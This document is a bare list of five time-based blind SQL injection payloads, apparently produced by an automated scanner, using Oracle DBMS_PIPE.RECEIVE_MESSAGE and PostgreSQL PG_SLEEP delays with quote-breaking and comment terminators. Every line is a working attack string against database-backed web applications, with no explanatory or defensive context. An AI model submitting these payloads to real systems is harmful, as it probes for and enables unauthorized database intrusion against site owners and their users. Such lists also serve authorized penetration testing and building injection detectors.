555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555z1Zn1oKv')) OR 250=(SELECT 250 FROM PG_SLEEP(15))--
555P0iEGdVc') OR 838=(SELECT 838 FROM PG_SLEEP(15))--
555e053n4bd' OR 855=(SELECT 855 FROM PG_SLEEP(15))--